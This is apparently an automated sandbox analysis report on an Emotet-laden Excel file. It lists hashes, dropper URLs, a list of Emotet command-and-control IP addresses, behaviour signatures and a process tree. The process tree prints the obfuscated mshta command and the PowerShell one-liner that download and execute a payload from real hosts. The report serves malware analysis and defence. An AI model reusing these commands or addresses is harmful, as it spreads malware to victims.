emotet | 9ad38c251b929edaf974d16b81d02e8b87ca16da14c4aa4eea44df09aa210c69

Analysis

max time kernel
147s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
21/01/2022, 03:36

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General

Target
5a6ac3a9701c7c5323d774b4dda7cc4f.xls
Size 71KB
Sample220121-d5yg5sdbgl
SHA256 9ad38c251b929edaf974d16b81d02e8b87ca16da14c4aa4eea44df09aa210c69
MD5 5a6ac3a9701c7c5323d774b4dda7cc4f
SHA1 40e7a5e7b6aebc9d738c63e618444f70531df834
SHA512 6df383f180d6e6eab5c590af29f3af0e72393a13aff04f01d7e9a05ba16e2339006123eaac750873317c8b7aca4e7808a72d57cee43db3ad91608b5066f8eb8a
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker persistence suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://0xb907d607/fer/fe2.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3744	2436	cmd.exe	54

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3592 created 1228	3592	WerFault.exe	65

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
34	1228	mshta.exe
38	2904	powershell.exe
40	2904	powershell.exe
67	412	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
2928	rundll32.exe
644	rundll32.exe
2780	rundll32.exe
412	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Cqsnnxbcfbf\rerqnivvolnd.new	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4012	1228	WerFault.exe	65

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2436	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2904	powershell.exe
2904	powershell.exe
4012	WerFault.exe
4012	WerFault.exe
412	rundll32.exe
412	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2904	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
2436	EXCEL.EXE
2436	EXCEL.EXE
2436	EXCEL.EXE
2436	EXCEL.EXE
2436	EXCEL.EXE
2436	EXCEL.EXE
2436	EXCEL.EXE
2436	EXCEL.EXE
2436	EXCEL.EXE
2436	EXCEL.EXE
2436	EXCEL.EXE
2436	EXCEL.EXE
2436	EXCEL.EXE
2436	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2436 wrote to memory of 3744	2436	EXCEL.EXE	63
PID 2436 wrote to memory of 3744	2436	EXCEL.EXE	63
PID 3744 wrote to memory of 1228	3744	cmd.exe	65
PID 3744 wrote to memory of 1228	3744	cmd.exe	65
PID 1228 wrote to memory of 2904	1228	mshta.exe	70
PID 1228 wrote to memory of 2904	1228	mshta.exe	70
PID 3592 wrote to memory of 1228	3592	WerFault.exe	65
PID 3592 wrote to memory of 1228	3592	WerFault.exe	65
PID 2904 wrote to memory of 2972	2904	powershell.exe	75
PID 2904 wrote to memory of 2972	2904	powershell.exe	75
PID 2972 wrote to memory of 2928	2972	cmd.exe	76
PID 2972 wrote to memory of 2928	2972	cmd.exe	76
PID 2972 wrote to memory of 2928	2972	cmd.exe	76
PID 2928 wrote to memory of 644	2928	rundll32.exe	79
PID 2928 wrote to memory of 644	2928	rundll32.exe	79
PID 2928 wrote to memory of 644	2928	rundll32.exe	79
PID 644 wrote to memory of 2780	644	rundll32.exe	82
PID 644 wrote to memory of 2780	644	rundll32.exe	82
PID 644 wrote to memory of 2780	644	rundll32.exe	82
PID 2780 wrote to memory of 412	2780	rundll32.exe	83
PID 2780 wrote to memory of 412	2780	rundll32.exe	83
PID 2780 wrote to memory of 412	2780	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5a6ac3a9701c7c5323d774b4dda7cc4f.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2436
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2904
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2972
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2928
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:644
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cqsnnxbcfbf\rerqnivvolnd.new",rlsCsd
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2780
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cqsnnxbcfbf\rerqnivvolnd.new",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:412
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1228 -s 1720
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:4012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:920

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe c9d642738ca5ea41d89d17a5b1f4d85f FArvTXUXDkOKeA873lIodQ.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3472

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 456 -p 1228 -ip 1228
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:3592

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/412-217-0x00000000057F0000-0x0000000005816000-memory.dmp

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memory/412-215-0x0000000005710000-0x0000000005736000-memory.dmp

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memory/412-213-0x00000000055E0000-0x0000000005606000-memory.dmp

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memory/412-211-0x0000000005500000-0x0000000005526000-memory.dmp

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memory/412-209-0x0000000005420000-0x0000000005446000-memory.dmp

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memory/412-207-0x00000000053C0000-0x00000000053E6000-memory.dmp

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memory/412-203-0x0000000004B60000-0x0000000004B86000-memory.dmp

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memory/644-191-0x0000000005400000-0x0000000005426000-memory.dmp

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memory/644-193-0x00000000054E0000-0x0000000005506000-memory.dmp

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memory/644-198-0x0000000005690000-0x00000000056B6000-memory.dmp

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memory/644-195-0x0000000005540000-0x0000000005566000-memory.dmp

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memory/644-187-0x0000000003420000-0x0000000003446000-memory.dmp

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memory/644-189-0x00000000052F0000-0x0000000005316000-memory.dmp

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memory/2436-134-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

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memory/2436-131-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

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memory/2436-240-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

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memory/2436-242-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

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memory/2436-241-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

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memory/2436-239-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

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memory/2436-130-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

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memory/2436-132-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

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memory/2436-138-0x00007FFC69D90000-0x00007FFC69DA0000-memory.dmp

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memory/2436-137-0x00007FFC69D90000-0x00007FFC69DA0000-memory.dmp

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memory/2436-133-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

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memory/2780-200-0x0000000003390000-0x00000000033B6000-memory.dmp

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memory/2904-180-0x000002391F0C0000-0x000002391F104000-memory.dmp

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memory/2904-174-0x0000023906920000-0x0000023906942000-memory.dmp

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memory/2904-179-0x0000023906916000-0x0000023906918000-memory.dmp

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memory/2904-178-0x0000023906913000-0x0000023906915000-memory.dmp

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memory/2904-177-0x0000023906910000-0x0000023906912000-memory.dmp

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memory/2904-186-0x000002391F190000-0x000002391F206000-memory.dmp

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